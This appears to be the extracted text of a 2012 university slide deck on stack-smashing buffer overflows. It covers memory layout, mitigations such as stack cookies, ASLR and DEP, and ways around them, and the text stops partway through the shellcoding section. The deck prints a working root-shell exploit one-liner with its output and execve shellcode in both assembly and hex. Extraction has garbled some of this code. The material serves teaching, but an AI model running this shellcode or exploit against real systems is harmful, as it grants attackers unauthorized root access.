SlideShare ist ein Scribd-Unternehmen logo
1 von 79
Downloaden Sie, um offline zu lesen
Smashing the Stack

             Cesena Security Network and Applications

            University of Bologna, Scuola di Ingegneria ed Architettura
Ingegneria Informatica Scienze e Tecnologie dell’Informazione Ingegneria e Scienze
                                   Informatiche


                            December 17, 2012
Outline

1 Introduction                    DEP
    Smash the stack         4   Mitigations Bypass
    A brief time line             Multiple Input and Static Areas
    Process Memory                NOP Sledge
    Stack Frame                   JMP2Register
2 Buffer Overflows                  Exception Handler
    Unsafe functions              Ret2libc
    Basic Overflow                 ROP
    Heap-based Overflow      5   Shellcoding
    Stack-based Overflow           Syscalls
3 Security                        Data reference
    Programming Languages         Zero-bytes problem
    Stack Cookies           6   Exercise
    ASLR                    7   References

        (CeSeNA)                                December 17, 2012   2 / 72
Introduction



Outline

1 Introduction                               DEP
    Smash the stack                    4   Mitigations Bypass
    A brief time line                        Multiple Input and Static Areas
    Process Memory                           NOP Sledge
    Stack Frame                              JMP2Register
2 Buffer Overflows                             Exception Handler
    Unsafe functions                         Ret2libc
    Basic Overflow                            ROP
    Heap-based Overflow                 5   Shellcoding
    Stack-based Overflow                      Syscalls
3 Security                                   Data reference
    Programming Languages                    Zero-bytes problem
    Stack Cookies                      6   Exercise
    ASLR                               7   References

        (CeSeNA)                                           December 17, 2012   3 / 72
Introduction



Introduction I




Acknowledgement
A special thanks to CeSeNA Security group and Marco Ramilli our “old”
mentor...




       (CeSeNA)                                      December 17, 2012   3 / 72
Introduction   Smash the stack



Smash the stack I



Smash The Stack [C programming] n.
On many C implementations it is possible to corrupt the execution stack
by writing past the end of an array declared auto in a routine.
Code that does this is said to smash the stack, and can cause return from
the routine to jump to a random address.
This can produce some of the most insidious data-dependent bugs known
to mankind.




        (CeSeNA)                                             December 17, 2012   4 / 72
Introduction   A brief time line



A brief time line I




The fist document Overflow Attack (Air Force) - 31/10/1972
“By supplying addresses outside the space allocated to the users programs,
it is often possible to get the monitor to obtain unauthorized data for that
user, or at the very least, generate a set of conditions in the monitor that
causes a system crash.”




        (CeSeNA)                                                December 17, 2012   5 / 72
Introduction   A brief time line



A brief time line II

The morris Worm - 2/11/1988
Robert Tappan Morris (Jr.) wrote and released this while still a student at
Cornell University. Aside from being the first computer worm to be
distributed via the Internet, the worm was the public’s introduction to
“Buffer Overflow Attacks”, as one of the worms attack vectors was a
classic stack smash against the fingerd daemon.
In his analysis of the worm, Eugene Spafford writes the following:
“The bug exploited to break fingerd involved overrunning the buffer the
daemon used for input. . . .
The idea of using buffer overflow to inject code into a program and cause
it to jump to that code occurred to me while reading fingerd.c”




        (CeSeNA)                                                December 17, 2012   6 / 72
Introduction   A brief time line



A brief time line III
How to Write Buffer Overflow 20/10/1995
by Peiter Zatko (mudge)
“. . .
The ’Segmentation fault (core dumped)’ is what we wanted to see.
This tells us there is definitely an attempt to access some memory address
that we shouldn’t. If you do much in ’C’ with pointers on a unix machine
you have probably seen this (or Bus error) when pointing or dereferencing
incorrectly.
...”

Smashing The Stack For Fun And Profit 8/11/1996
by Elias Levy (Aleph1)
One of the best article about BoF.


        (CeSeNA)                                               December 17, 2012   7 / 72
Introduction   Process Memory



Process Memory I

Buffers, Memory and Process
To understand what stack buffers are we must first understand how a
program and process are organized.

    Program layout is divided in sections like:
        .text, where program instruction are stored
        .data, where program data will be stored
        .bss, where static vars are allocated
        .stack, where stack frames live
    These sections are typically mapped in memory segments, so they
    have associated RWX permissions.



       (CeSeNA)                                            December 17, 2012   8 / 72
Introduction   Process Memory



Process Memory II
.text
The text region is fixed by the program and includes code (instructions)
and read-only data. This region corresponds to the text section of the
executable file. This region is normally marked read-only and any attempt
to write to it will result in a segmentation violation.

.data .bss
The data region contains initialized and uninitialized data. Static variables
are stored in this region. The data region corresponds to the data-bss
sections of the executable file. Its size can be changed with the brk(2)
system call. If the expansion of the bss-data or the user stack exhausts
available memory, the process is blocked and is rescheduled to run again
with a larger memory space.
New memory is added between the data and stack segments.

        (CeSeNA)                                              December 17, 2012   9 / 72
Introduction   Process Memory



Process Memory III

  /------------------   higher
  |                  |   memory
  |      Stack       |   addresses
  |------------------|
  | (Uninitialized) |
  |        Data      |
  |   (Initialized) |
  |------------------|
  |       Text       |   lower
  |                  |   memory
  ------------------/   addresses




      (CeSeNA)                                           December 17, 2012   10 / 72
Introduction   Stack Frame



Stack Frame I

   The stack consists of logical stack frames that are pushed when
   calling a function and popped when returning. A stack frame contains
   the parameters to a function, its local variables, and the data
   necessary to recover the previous stack frame, including the value of
   the instruction pointer at the time of the function call.
   Depending on the implementation the stack will either grow down
   (towards lower memory addresses), or up. The stack pointer is also
   implementation dependent. It may point to the last address on the
   stack, or to the next free available address after the stack.
   In addition to the stack pointer, which points to the top of the stack,
   it is often convenient to have a frame pointer which points to a fixed
   location within a frame. Some texts also refer to it as a local base
   pointer.


      (CeSeNA)                                          December 17, 2012   11 / 72
Introduction   Stack Frame



Stack Frame II



Stack
In x86 architecture stack grows in opposite direction w.r.t. memory
addresses. Also two registers are dedicated for stack management.
  EBP/RBP , points to the base of the stack-frame (higher address)
   EIP/RIP , points to the top of the stack-frame (lower address)




        (CeSeNA)                                         December 17, 2012   12 / 72
Introduction   Stack Frame



Stack Frame III


Stack Frame
Logical stack frames that are pushed when calling a function and popped
when returning.
A stack frame contains:
    Parameters passed to the called function (depends on calling
    convention, not true for linux64)
    Data necessary to recover the previous stack frame, including
    value of the instruction pointer at the time of the function call.
    Local variables




        (CeSeNA)                                         December 17, 2012   13 / 72
Introduction   Stack Frame



Stack Frame IV




      (CeSeNA)                                December 17, 2012   14 / 72
Buffer Overflows



Outline

1 Introduction                               DEP
    Smash the stack                    4   Mitigations Bypass
    A brief time line                        Multiple Input and Static Areas
    Process Memory                           NOP Sledge
    Stack Frame                              JMP2Register
2 Buffer Overflows                             Exception Handler
    Unsafe functions                         Ret2libc
    Basic Overflow                            ROP
    Heap-based Overflow                 5   Shellcoding
    Stack-based Overflow                      Syscalls
3 Security                                   Data reference
    Programming Languages                    Zero-bytes problem
    Stack Cookies                      6   Exercise
    ASLR                               7   References

        (CeSeNA)                                          December 17, 2012   15 / 72
Buffer Overflows



What is BOF? I




                 Figure : BOF segmentation fault

      (CeSeNA)                                     December 17, 2012   15 / 72
Buffer Overflows



What is BOF? II



Also known as

user$ ./note AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault




       (CeSeNA)                              December 17, 2012   16 / 72
Buffer Overflows



How to use BOF? I




                    Figure : BOF whoami: root

      (CeSeNA)                                  December 17, 2012   17 / 72
Buffer Overflows



How to use BOF? II


Also known as

user$ ./note ‘perl -e ’printf("x90" x 153 .
    "x31xdbx31xc9x31xc0xb0xcbxcdx80x31xc0x50
     x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50
     x53x89xe1x31xd2xb0x0bxcdx80x31xdbxb0x01
     xcdx80" . "x90" x 22 . "xefxbexadxde")’‘
sh-3.1# whoami
root




       (CeSeNA)                              December 17, 2012   18 / 72
Buffer Overflows   Unsafe functions



Unsafe functions I


Unsafe C functions
    gets(): replace it with fgets() or gets s()
    strcpy(): replace it with strncpy() or strlcpy()
    strcat(): replace it with strncat() or strlcat()
    sprintf(): replace it with snprintf()
    printf(): improper use of it can lead to exploitation, never call it with
    variable char* instead of constant char*.
Essentially, every C functions that don’t check the size of the destination
buffers




        (CeSeNA)                                               December 17, 2012   19 / 72
Buffer Overflows   Basic Overflow



    Basic Overflow I
    In the following example, a program has defined two data items which are
    adjacent in memory: an 8-byte-long string buffer, A, and a two-byte
    integer (short), B. Initially, A contains nothing but zero bytes, and B
    contains the number 1979. Characters are one byte wide.
1   char A[ 8 ] = {0 ,0 ,0 ,0 ,0 ,0 ,0 ,0};
2   short B = 1979;




                       Figure : A and B variables initial state

            (CeSeNA)                                              December 17, 2012   20 / 72
Buffer Overflows   Basic Overflow



    Basic Overflow II
    Now, the program attempts to store the null-terminated string ”excessive”
    in the A buffer. ”excessive” is 9 characters long, and A can take 8
    characters. By failing to check the length of the string, it overwrites the
    value of B
1   g e t s (A) ;




                         Figure : A and B variables final state


              (CeSeNA)                                           December 17, 2012   21 / 72
Buffer Overflows   Heap-based Overflow



Heap-based Overflow I
Heap-based overflow is a type of buffer overflow that occurs in the heap
data area. Memory on the heap is dynamically allocated by the application
at run-time and typically contains program data.
Exploitation is performed by
corrupting this data in specific
ways to cause the application to
overwrite internal structures such
as linked list pointers.
The canonical heap overflow
technique overwrites dynamic
memory allocation linkage (such as
malloc meta data) and uses the
resulting pointer exchange to
overwrite a program function
pointer.

        (CeSeNA)                                               December 17, 2012   22 / 72
Buffer Overflows   Stack-based Overflow



Stack-based Overflow I


Stack-based buffer overflows manipulate the program to their advantage in
one of several ways:
    By overwriting a local variable that is near the buffer in memory on
    the stack to change the behaviour of the program which may benefit
    the attacker.
    By overwriting a function pointer, or exception handler, which is
    subsequently executed.
    By overwriting the return address in a stack frame. Once the function
    returns, execution will resume at the return address as specified by
    the attacker, usually a user input filled buffer.




       (CeSeNA)                                                 December 17, 2012   23 / 72
Buffer Overflows   Stack-based Overflow



 Stack-based Overflow II
./note ”This is my sixth note”                             ./note AAAAAAAAAAAAAAAA...

Memory: addNote(): 80484f9,                                Memory: addNote(): 80484f9
main(): 80484b4, buffer:bffff454,                          main(): 80484b4, buffer:bffff314
n_ebp: bffff528, n_esp: bffff450,                          n_ebp: bffff3e8, n_esp: bffff310
m_ebp: bffff538, m_esp: bffff534                           m_ebp: bffff3f8, m_esp: bffff3f4
        address    hex val   string val                            address    hex val string val
n_esp > bffff450: bffff450 ? ? ? P                         n_esp > bffff310: bffff310 ? ? ?
buffer> bffff454: 73696854 s i h T                         buffer> bffff314: 41414141 A A A A
        bffff458: 20736920      s i                                bffff318: 41414141 A A A A
        bffff45c: 7320796d s       y m                             bffff31c: 41414141 A A A A
        bffff460: 68747869 h t x i                                 bffff320: 41414141 A A A A
        bffff464: 746f6e20 t o n                                   bffff324: 41414141 A A A A
        bffff468: b7fc0065 ? ?        e                            bffff328: 41414141 A A A A
        ...        ...       ...                                   ...        ...       ...
        bffff510: 00000000                                         bffff3d0: 41414141 A A A A
        bffff514: 00000000                                         bffff3d4: 41414141 A A A A
endBuf> bffff518: bffff538 ? ? ? 8                         endBuf> bffff3d8: 41414141 A A A A
        bffff51c: 080487fb         ? ?                             bffff3dc: 41414141 A A A A
        bffff520: b7fcaffc ? ? ? ?                                 bffff3e0: 41414141 A A A A
        bffff524: 0804a008         ?                               bffff3e4: 0804a008         ?
n_ebp > bffff528: bffff538 ? ? ? 8                         n_ebp > bffff3e8: 41414141 A A A A
n_ret > bffff52c: 080484ee      ? ?                        n_ret > bffff3ec: 41414141 A A A A
        bffff530: bffff709 ? ? ?                                   bffff3f0: 41414141 A A A A
m_esp > bffff534: b8000ce0 ?          ?                    m_esp > bffff3f4: 41414141 A A A A
m_ebp > bffff538: bffff598 ? ? ? ?                         m_ebp > bffff3f8: 41414141 A A A A
m_ret > bffff53c: b7eb4e14 ? ? N                           m_ret > bffff3fc: 41414141 A A A A
        bffff540: 00000002                                         bffff400: 41414141 A A A A
                                                           Segmentation fault
              (CeSeNA)                                                                December 17, 2012   24 / 72
Buffer Overflows   Stack-based Overflow



Stack-based Overflow III

Overwriting the return address

   Memory: addNote(): 80484f9,                                   bffff440:   01b0db31       ?   ?   1
   main(): 80484b4, buffer:bffff384                              bffff444:   909080cd   ?   ?   ?   ?
   n_ebp: bffff458, n_esp: bffff380                    endBuf>   bffff448:   90909090   ?   ?   ?   ?
   m_ebp: bffff468, m_esp: bffff464                              bffff44c:   90909090   ?   ?   ?   ?
           address    hex val   string val                       bffff450:   90909090   ?   ?   ?   ?
   n_esp > bffff380: bffff380 ? ? ? ?                            bffff454:   0804a008       ?
   buffer> bffff384: 90909090 ? ? ? ?                  n_ebp >   bffff458:   90909090   ?   ?   ?   ?
           bffff388: 90909090 ? ? ? ?                  n_ret >   bffff45c:   bffff388   ?   ?   ?   ?
           ...        ...       ...                              bffff460:   bffff600   ?   ?   ?
           bffff418: 90909090 ? ? ? ?                  m_esp >   bffff464:   b8000ce0   ?           ?
           bffff41c: 31db3190 1 ? 1 ?                  m_ebp >   bffff468:   bffff4c8   ?   ?   ?   ?
           bffff420: b0c031c9 ? ? 1 ?                  m_ret >   bffff46c:   b7eb4e14   ?   ?   N
           bffff424: 3180cdcb 1 ? ? ?                            bffff470:   00000002
           bffff428: 2f6850c0 / h P ?                  sh-3.1#   whoami
           bffff42c: 6868732f h h s /                  root
           bffff430: 6e69622f n i b /                  sh-3.1# exit
           bffff434: 5350e389 S P ? ?
           bffff438: d231e189 ? 1 ? ?
           bffff43c: 80cd0bb0 ? ?        ?




         (CeSeNA)                                                                December 17, 2012      25 / 72
Security



Outline

1 Introduction                               DEP
    Smash the stack                    4   Mitigations Bypass
    A brief time line                        Multiple Input and Static Areas
    Process Memory                           NOP Sledge
    Stack Frame                              JMP2Register
2 Buffer Overflows                             Exception Handler
    Unsafe functions                         Ret2libc
    Basic Overflow                            ROP
    Heap-based Overflow                 5   Shellcoding
    Stack-based Overflow                      Syscalls
3 Security                                   Data reference
    Programming Languages                    Zero-bytes problem
    Stack Cookies                      6   Exercise
    ASLR                               7   References

        (CeSeNA)                                          December 17, 2012   26 / 72
Security



Security Against Bofs



How to secure the stack?
    Various methods and techniques. . .
    . . . and various consideration.
    Which programming language?
    How to deal with legacy code?
    How to develop automatic protection?




       (CeSeNA)                             December 17, 2012   26 / 72
Security   Programming Languages



Security: Programming Language

Do programming languages offer automatic stack protection?

    C/C++ these languages don’t provide built-int protection, but offer
          stack-safe libraries (e.g. strcpy () =⇒ strncpy ()).
Java/.NET/Perl/Python/Ruby/. . . all these languages provide an
           automatic array bound check: no need for the programmer
           to care of it.

    According to www.tiobe.com C is the most used Programming
    Language in 2012.
    Legacy code still exists: it can’t be rewritten!
    Operating systems and compilers should offer automatic protections.



       (CeSeNA)                                                    December 17, 2012   27 / 72
Security   Stack Cookies



Security: Automatic stack smashing detection using stack
cookies


An automatic protection introduced at compile time

    Random words (cookies) inserted into the stack during the function
    prologue.
    Before returning, the function epilogue checks if those words are
    intact.
    If a stack smash occurs, cookie smashing is very likely to happen.
    If so, the process enters in a failure state (e.g. raising a SIGSEV).




       (CeSeNA)                                            December 17, 2012   28 / 72
Security   Stack Cookies



Security: StackGuard (1998)

A patch for older gcc
   “A simple compiler technique that
   virtually eliminates buffer overflow
   vulnerabilities with only modest
   performance penalties” [3].
   It offers a method for detecting return
   address changes in a portable and
   efficient way.
   StackGuard uses a random canary word
   inserted before the return address. The
   callee, before returning, checks if the
   canary word is unaltered.


       (CeSeNA)                                          December 17, 2012   29 / 72
Security   Stack Cookies



Security: Stack-Smashing Protector (2001)
An improved patch for gcc
   It uses a stack cookies (guard),
   to protect the base pointer.
   Relocate all arrays to the top of
   the stack in order to prevent
   variable corruption (B before
   C).
   Copies arguments into new
   variables below the arrays,
   preventing argument corruption
   (A copied into C).
   SSP is used by default since gcc
   4.0 (2010), however some
   systems (like Arch Linux) keep
   it disabled.
       (CeSeNA)                                           December 17, 2012   30 / 72
Security   Stack Cookies



    Security: SSP examples
1    v o i d t e s t ( i n t (∗ f ) ( i n t ) , i n t z , char ∗ buf ) {
2        char b u f f e r [ 6 4 ] ; i n t a = f ( z ) ;
3    }
    gcc -m32 -fno-stack-protector test.c            gcc -m32 -fstack-protector test.c
    push ebp                                        push ebp
    mov ebp , e s p                                 mov ebp , e s p
    s u b esp , 0 x68                               s u b esp , 0 x78
    mov eax , [ ebp+0x c ]                          mov eax , [ ebp+0x8 ]
    mov [ e s p ] , e a x                           mov [ ebp−0x 5 c ] , e a x
    mov eax , [ ebp+0x8 ]                           mov eax , [ ebp+0x10 ]
    c a l l eax                                     mov [ ebp−0x60 ] , e a x
    mov [ ebp−0x c ] , e a x                        mov eax , g s : 0 x14
    leave                                           mov [ ebp−0x c ] , e a x
    ret                                             x o r eax , e a x
                                                    mov eax , [ ebp+0x c ]
                                                    mov [ e s p ] , e a x
                                                    mov eax , [ ebp−0x 5 c ]
                                                    c a l l eax
                                                    mov [ ebp−0x50 ] , e a x
                                                    mov eax , [ ebp−0x c ]
                                                    x o r eax , g s : 0 x14
                                                    je      8048458 <t e s t +0x3c>
                                                    c a l l 80482 f 0 < s t a c k c h k f a i l @ p l t >
                                                    leave
                                                    ret


                  (CeSeNA)                                                           December 17, 2012      31 / 72
Security   ASLR



Security: Address space layout randomization (∼ 2002)


A runtime kernel protection

    Using PIC (position independent code) techniques and kernel aid, it’s
    possible to change at every execution the position of stack, code and
    library into the addressing space.
    Linux implements ASLR since 2.6.12. Linux ASLR changes the stack
    position.
    Windows has ASLR enabled by default since Windows Vista and
    Windows Server 2008. Window ASLR changes stack, heap and
    Process/Thread Environment Block position.




       (CeSeNA)                                        December 17, 2012   32 / 72
Security   ASLR



Security: ASLR example

$ sudo s y s c t l −w k e r n e l . r a n d o m i z e v a s p a c e =1
$ f o r i i n { 1 . . 5 } ; do . / a s l r ; done
BP : 0 x 7 f f f e 0 3 e 4 9 d 0
BP : 0 x 7 f f f 0 1 c d 4 4 a 0
BP : 0 x 7 f f f 2 3 a c 2 4 5 0
BP : 0 x 7 f f f a c c 7 2 f c 0
BP : 0 x 7 f f f a 2 0 f c a 5 0
$ sudo s y s c t l −w k e r n e l . r a n d o m i z e v a s p a c e =0
$ f o r i i n { 1 . . 5 } ; do . / a s l r ; done
BP : 0 x 7 f f f f f f f e 7 5 0
BP : 0 x 7 f f f f f f f e 7 5 0
BP : 0 x 7 f f f f f f f e 7 5 0
BP : 0 x 7 f f f f f f f e 7 5 0
BP : 0 x 7 f f f f f f f e 7 5 0

         (CeSeNA)                                              December 17, 2012   33 / 72
Security   DEP



Security: Data Execution Prevention (∼ 2004)


Make a virtual page not executable

    Hardware support using the NX bit (Never eXecute) present in
    modern 64-bit CPUs or 32-bit CPUs with PAE enabled.
    NX software emulation techniques for older CPUs.
    First implemented on Linux 2.6.8 and on MS Windows since XP SP2
    and Server 2003.
    Currently implemented by all OS (Linux, Mac OS X, iOS, Microsoft
    Windows and Android).




       (CeSeNA)                                        December 17, 2012   34 / 72
Mitigations Bypass



Outline

1 Introduction                                  DEP
    Smash the stack                       4   Mitigations Bypass
    A brief time line                           Multiple Input and Static Areas
    Process Memory                              NOP Sledge
    Stack Frame                                 JMP2Register
2 Buffer Overflows                                Exception Handler
    Unsafe functions                            Ret2libc
    Basic Overflow                               ROP
    Heap-based Overflow                    5   Shellcoding
    Stack-based Overflow                         Syscalls
3 Security                                      Data reference
    Programming Languages                       Zero-bytes problem
    Stack Cookies                         6   Exercise
    ASLR                                  7   References

        (CeSeNA)                                             December 17, 2012   35 / 72
Mitigations Bypass



Mitigations Bypass I

         Are these mitigations enough??
Spoiler: NO.

ASLR bypass via multiple input, NOP sledge, jmp2reg, ROP . . .
DEP bypass via ret2libc, ROP . . .
Stack Cookie bypass via Exception Handler exploiting (and other
             techniques which aren’t treated here: eg. Heap-Overflow
             ...)


  This section aims to provide a quick overview on more advanced stack
                                smashing.

        (CeSeNA)                                      December 17, 2012   35 / 72
Mitigations Bypass   Multiple Input and Static Areas



Multiple Input and Static Areas I

Actually, not everything is randomized. . .
Sections like .text or .bss (or some library memory space) are not
randomized by ALSR.

Expoit multiple input

    If we can put our shellcode into a variable located in these memory
    areas (eg. global var, static var, environment. . . ) then we should be
    able to correctly reference it.
    Enforcing this kind of attack often require to provide multiple inputs
    (at least one in the stack and another in a not randomized place)



        (CeSeNA)                                                                December 17, 2012   36 / 72
Mitigations Bypass   NOP Sledge



NOP Sledge I

What if randomization is not truly random?

  - In certain ALSR implementation (for several reasons) randomization
    might present recurrent set of address.
  - This enhance our chance to guess the right address, but it’s not
    enough


NOP sledge

  - NOP (0x90) is the No OPeration instruction on x86 ISA
  - Adding a long NOP prologue to our shellcode increase the valid
    address range usable to jump to our shellcode.



       (CeSeNA)                                           December 17, 2012   37 / 72
Mitigations Bypass   NOP Sledge



NOP Sledge II




                 Figure : NOP Sledge role during stack smashing

      (CeSeNA)                                               December 17, 2012   38 / 72
Mitigations Bypass   JMP2Register



JMP2Register I



Changing scenario

  - No static memory location
  - No time to try to guess addresses
Try to think at how variables are referenced in Assembly. . . Var. address
could be stored in a register




        (CeSeNA)                                             December 17, 2012   39 / 72
Mitigations Bypass   JMP2Register



JMP2Register II




Figure : Jmp2reg example with EBX register that contains an address of a stack
memory location (area under attacker control)



        (CeSeNA)                                              December 17, 2012   40 / 72
Mitigations Bypass   JMP2Register



JMP2Register III


What If no jmp reg ?
Same trick could be exploited with other statements:
    call reg
    push reg; ret
    jmp [reg + offset]
    pop; ret if desired address lay on stack (pop;pop;ret pop;pop;pop;ret
    and so on)




        (CeSeNA)                                            December 17, 2012   41 / 72
Mitigations Bypass   Exception Handler



Exception Handler I


    As seen before some stack protection check if the stack as been
    smashed before function return. So classic “overwrite EBP+4” does
    not work.
    Many languages support custom exception handling statement
    (eg.C++)
    May we execute our shellcode instead of user defined handler?

SEH based stack smashing
Generally depends on how compiler handle user define Exception Handlers,
and in many case its possible (with gcc and VC++ both).




       (CeSeNA)                                                 December 17, 2012   42 / 72
Mitigations Bypass   Exception Handler



Exception Handler II




                 Figure : Stack frame with SEH under Windows



      (CeSeNA)                                                     December 17, 2012   43 / 72
Mitigations Bypass   Ret2libc



Ret2libc I



    Now we want to deal with DEP countermeasure.
    As you know no bytes in .data .stack .bss segments can be executed.

What about executing some library code?
libc function system(char*cmd) executes the command specified by the
string pointed by its parameter.
May we craft the stack in a manner to simulate a function call without
CALL?




        (CeSeNA)                                        December 17, 2012   44 / 72
Mitigations Bypass   Ret2libc



Ret2libc II




     Figure : Ret2libc fashioned stack smashing, before ret (stdcall ia32)



       (CeSeNA)                                              December 17, 2012   45 / 72
Mitigations Bypass   Ret2libc



Ret2libc III




Figure : Ret2libc fashioned stack smashing, executing target function prologue
(stdcall ia32)



         (CeSeNA)                                            December 17, 2012   46 / 72
Mitigations Bypass   ROP



ROP I

    What if we need to provide a system() parameter which is in a
    randomized memory area?
    Is there a way to do some computation without code injection?

Return Oriented Programming
Programming technique that borrow chunks of pre-existent code, control
flow is controlled by jumping to these “gadgets”.

Gadget
In ROP jargon a “gadget” is a collection of sequential instructions which
end with a RET (0xc3) (typically one or two instruction before RET).
NOTE: x86 works with processors unaligned memory addresses, so we can
found lots of gadgets. . .

         (CeSeNA)                                      December 17, 2012   47 / 72
Mitigations Bypass   ROP



ROP II

How to program in ROP
   ESP works similar to
   EIP, like a gadget                     Gadgets may not be what we exactly
   pointer                                need (eg. mov eax,esp; ret), they could
   Putting gadget address                 contain also undesired instruction (eg.
   on stack enable us to                  mov eax,esp;push ebx;ret)
   sequentially execute                   If program is sufficiently large, ROP
   arbitrary chunks of                    programming is
   codes.                                 typicallyTuring-Complete
   By controlling ESP we                  Manual ROP programming is quite a
   could govern the ROP                   mess. . . some ROP Compilers exists :)
   control flow.


       (CeSeNA)                                                December 17, 2012   48 / 72
Mitigations Bypass   ROP



ROP III




Figure : Stack during a ROP based stack smashing, try to figure out what
happens (ia32)

        (CeSeNA)                                           December 17, 2012   49 / 72
Shellcoding



Outline

1 Introduction                                  DEP
    Smash the stack                       4   Mitigations Bypass
    A brief time line                           Multiple Input and Static Areas
    Process Memory                              NOP Sledge
    Stack Frame                                 JMP2Register
2 Buffer Overflows                                Exception Handler
    Unsafe functions                            Ret2libc
    Basic Overflow                               ROP
    Heap-based Overflow                    5   Shellcoding
    Stack-based Overflow                         Syscalls
3 Security                                      Data reference
    Programming Languages                       Zero-bytes problem
    Stack Cookies                         6   Exercise
    ASLR                                  7   References

        (CeSeNA)                                             December 17, 2012   50 / 72
Shellcoding



    Shellcoding

    BOF payload

          A buffer overflow exploitation ends with the execution of an arbitrary
          payload.
          The payload is a sequence of machine code instructions.
          A common way to write shellcode is to use assembly language.
          Usually, the ultimate goal is to spawn a shell (hence shellcoding):


1   e x e c v e ( ” / b i n / b as h ” , [ ” / b i n / b a s h ” ] , [ ] ) ;




               (CeSeNA)                                                        December 17, 2012   50 / 72
Shellcoding



    Shellcoding: Creation steps


    Assuming direct control

      1   Invoke the execve syscall.
      2   Refer the string “/bin/bash” and the argument array.
      3   Optimize the payload.
      4   Perform the buffer overflow.

1   e x e c v e ( ” / b i n / b as h ” , [ ” / b i n / b a s h ” ] , [ ] ) ;




               (CeSeNA)                                                        December 17, 2012   51 / 72
Shellcoding



Shellcoding: Syscalls
Invoking a syscall

     Syscalls are invokable using a numerical id.
     Ids are defined into unistd 32.h for x86 systems and unistd 64.h for
     x86 64 systems.
     On x86 64 systems the assembler operation syscall execute the syscall
     identified by rax.
     On x86 systems the assembler operation int 80h raises a software
     interrupt, which leads to the execution of the syscall identified by eax.

 1   ; e x i t (0) s y s c a l l                 1   ; e x i t (0) s y s c a l l
 2   mov r d i , 0                               2   mov ebx , 0
 3   mov r a x , 60                              3   mov eax , 1
 4   syscall                                     4   i n t 80 h


          (CeSeNA)                                                       December 17, 2012   52 / 72
Shellcoding



    Shellcoding: The execve syscall
1   unistd 32 . h
2   #d e f i n e     N R e x e c v e 11
3   unistd 64 . h
4   #d e f i n e     N R e x e c v e 59
5   syscall .h
6   i n t k e r n e l e x e c v e ( const char ∗ filename ,
7                                   const char ∗ const argv [ ] ,
8                                   c o n s t c h a r ∗ c o n s t envp [ ] ) ;



    man 2 execve
          execve() executes the program pointed to by filename.
          argv is an array of argument strings passed to the new program. By
          convention, the first of these strings should contain the filename.
          envp is an array of strings, conventionally of the form key=value.
          Both argv and envp must be terminated by a NULL pointer.
          On Linux, argv [or envp] can be specified as NULL, which has the
          same effect as specifying this argument as a pointer to a list
          containing a single NULL pointer.


1   e x e c v e ( ” / b i n / b as h ” , [ ” / b i n / b a s h ” , NULL ] , NULL) ;



                   (CeSeNA)                                                           December 17, 2012   53 / 72
Shellcoding



Shellcoding: Syscall and parameter passing

How to pass parameters?

    Use the calling convention for syscalls!
         x86 64 rdi, rsi, rdx, r10, r8 and r9.
             x86 ebx, ecx, edx, esi, edi and ebp.
    Other parameters go into the stack.
    execve parameters:
         x86 64 rdi =⇒ ”/bin/bash”
                rsi =⇒ [”/bin/bash”, NULL]
                rdx =⇒ NULL
            x86 ebx =⇒ ”/bin/bash”
                ecx =⇒ [”/bin/bash”, NULL]
                edx =⇒ NULL


       (CeSeNA)                                     December 17, 2012   54 / 72
Shellcoding



    Shellcoding: Data reference I

    The reference problem

        The shellcode must know the reference of “/bin/bash”, argv and env.
        The shellcode is not compiled with the program it’s intended to run:
        it must be designed as a Position Independent Code, i.e. the
        shellcode can’t use absolute reference.
        Therefore you must use relative addressing, but before IA-64 it was
        not possible.


1   f i l e n a m e db ’ / b i n / b a s h ’ , 0
2   ; What w i l l be t h e a d d r e s s o f f i l e n a m e i n any program?
3   mov r d i , ?




            (CeSeNA)                                           December 17, 2012   55 / 72
Shellcoding



    Shellcoding: Data reference II
    Old IA-32 way

         You use a trick: jmp just before the data location, then do a call.
         The call Instruction pushes the next instruction pointer onto the
         stack, which is equal to the “/bin/bash” address.


1   jmp f i l e n a m e
2   run :
3      pop ebx ; ebx now c o n t a i n s ”/ b i n / b a s h ” r e f e r e n c e
4      ; ...
5   filename :
6      c a l l run
7      db ’ / b i n / b a s h ’ , 0




             (CeSeNA)                                                December 17, 2012   56 / 72
Shellcoding



    Shellcoding: Data reference III

    New IA-64 way

          IA-64 introduces the RIP relative addressing.
          [rel filename] becomes [rip + offset]


1   l e a r d i , [ r e l message ] ; now r d i c o n t a i n s
2                                   ; the s t r i n g r e f e r e n c e
3   ; ...
4
5   f i l e n a m e db ’ / b i n / b a s h ’ , 0




               (CeSeNA)                                              December 17, 2012   57 / 72
Shellcoding



    Shellcoding: Data reference IV

    Generic Way

         You can push the string in hex format into the stack.
         The stack pointer is then the string reference.


1   push 0 x00000068 ; 0 x00 , ’ h ’
2   push 0 x 7 3 6 1 6 2 2 f ; ’ s a b / ’
3   push 0 x 6 e 6 9 6 2 2 f ; ’ n i b / ’
4   mov ebx , e s p ; now ebx c o n t a i n s t h e s t r i n g r e f e r e n c e
5   ; ...




             (CeSeNA)                                               December 17, 2012   58 / 72
Shellcoding



    Shellcode: first attempt I

1   b i t s 64
2
3   lea rdi , [ r e l filename ] ; filename
4   lea r s i , [ r e l args ] ; argv
5   mov rdx , 0 ; envp
6
7   mov [ r e l a r g s ] , r d i ; a r g v [ 0 ] <− f i l e n a m e
8   mov [ r e l a r g s +8] , r d x ; a r g v [ 1 ] <− n u l l
9
0   mov r a x , 59
1   syscall
2
3   f i l e n a m e db ’ / b i n / b a s h ’ , 0
4   a r g s db 16




               (CeSeNA)                                                December 17, 2012   59 / 72
Shellcoding



    Shellcode: first attempt II

1    x48  x8d  x3d  x21  x00  x00  x00  x48  x  x8d  x35  x24  x00  x00
2    x00  xba  x00  x00  x00  x00  x48  x89  x3d  x18  x00  x  x00  x00
3    x48  x89  x15  x19  x00  x00  x00  xb8  x3b  x00  x00  x00  x 0 f
4    x05  x 2 f  x62  x69  x6e  x 2 f  x62  x61  x73  x68  x00  x01  x00
5    x00  x00  x00  x00  x00  x00  x01  x00  x00  x00  x00  x00  x00  x00




         Warning: zero-byte presence!
         Often shellcode payload are red as string.
         C strings are null-terminated array of chars.
         The vulnerable program will process only the first five bytes!



             (CeSeNA)                                               December 17, 2012   60 / 72
Shellcoding



Shellcode: Zero-bytes problem
